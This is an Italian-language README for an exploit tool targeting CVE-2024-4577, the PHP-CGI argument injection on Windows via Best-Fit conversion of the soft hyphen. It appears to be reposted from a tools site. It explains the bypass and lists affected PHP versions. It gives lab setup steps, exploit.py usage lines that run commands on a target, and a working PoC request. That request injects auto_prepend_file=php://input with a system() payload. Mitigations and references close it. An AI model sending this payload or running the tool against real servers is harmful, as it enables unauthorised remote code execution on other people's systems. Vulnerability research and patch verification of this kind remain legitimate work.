CVE-2024-4577 - Iniezione di Argomenti CGI PHP su Windows ("WorstFit")

Panoramica

CVE-2024-4577 è una vulnerabilità critica di esecuzione remota di codice nell'implementazione CGI di PHP su Windows. Bypassa la correzione della CVE-2012-1823 originale sfruttando la conversione delle code page "Best-Fit" di Windows per introdurre argomenti della riga di comando attraverso la query string CGI.

• Punteggio CVSS: 9.8 (Critico)
• Scoperta da: Orange Tsai (DEVCORE)
• Tipo: Iniezione di comandi del sistema operativo / Iniezione di argomenti
• Data della patch: 6 giugno 2024

Dettagli Tecnici

Quando PHP viene eseguito come modulo CGI (php-cgi.exe), analizza la query string come argomenti della riga di comando. La correzione originale per CVE-2012-1823 bloccava il carattere - (trattino, 0x2D) per prevenire l'iniezione di argomenti. Tuttavia, sui sistemi Windows che utilizzano determinate code page (ad es. cinese, giapponese, coreano), la funzione di mappatura dei caratteri "Best-Fit" converte specifici caratteri Unicode nei loro equivalenti ASCII più vicini.

La chiave del bypass utilizza il carattere trattino morbido (0xAD / U+00AD). Quando una richiesta passa %AD nella query string e la localizzazione del server utilizza una code page "Best-Fit", Windows converte internamente 0xAD in 0x2D (trattino), consentendo all'attaccante di iniettare argomenti PHP nonostante il filtro.

Esempio: %ADd+allow_url_include%3D1+%ADd+auto_prepend_file%3Dphp://input diventa -d allow_url_include=1 -d auto_prepend_file=php://input.

Versioni Affette

• PHP 8.1.* precedenti alla 8.1.29
• PHP 8.2.* precedenti alla 8.2.20
• PHP 8.3.* precedenti alla 8.3.8

Requisiti di configurazione:

• PHP eseguito come CGI con php-cgi.exe
• Server web Apache con mod_cgi o mod_cgid configurati
• Locale Windows che utilizza una code page "Best-Fit" (cinese, giapponese, coreano, ecc.)

Configurazione dell'Ambiente (XAMPP)

1. Scarica una versione vulnerabile di PHP (ad es. 8.1.28) per Windows.
2. Configura XAMPP o Apache con la modalità CGI:
   root@kitploit:~

   ScriptAlias /php-cgi/ "C:/php/"
   Action application/x-httpd-php-cgi /php-cgi/php-cgi.exe
   

3. Verifica il target: http://localhost/php-cgi/php-cgi.exe?%ADd+allow_url_include%3D1+%ADd+auto_prepend_file%3Dphp://input

Utilizzo

python exploit.py -t http://target/php-cgi/php-cgi.exe -c "whoami"
python exploit.py -t http://target/php-cgi/php-cgi.exe --phpinfo

PoC

Il payload appositamente costruito inietta direttive di configurazione PHP tramite la query string:

GET /php-cgi/php-cgi.exe?%ADd+allow_url_include%3D1+%ADd+auto_prepend_file%3Dphp://input
Host: target
Content-Type: application/x-www-form-urlencoded

<?php system("whoami"); ?>

Mitigazione

• Aggiorna PHP alla 8.3.8+, 8.2.20+ o 8.1.29+
• Disattiva la modalità CGI e utilizza invece PHP-FPM, mod_php o FastCGI
• Applica regole di riscrittura IIS o Apache per bloccare le richieste a php-cgi.exe
• Esegui PHP solo su sistemi con code page non Best-Fit (ad es. inglese)

Riferimenti

• https://devco.re/blog/2024/06/06/security-alert-cve-2024-4577-php-cgi-argument-injection-en/
• https://nvd.nist.gov/vuln/detail/CVE-2024-4577
• https://www.php.net/ChangeLog-8.php
• https://github.com/php/php-src/commit/2ae601d8d0d5b42891c6e15a28a14d1f44855f09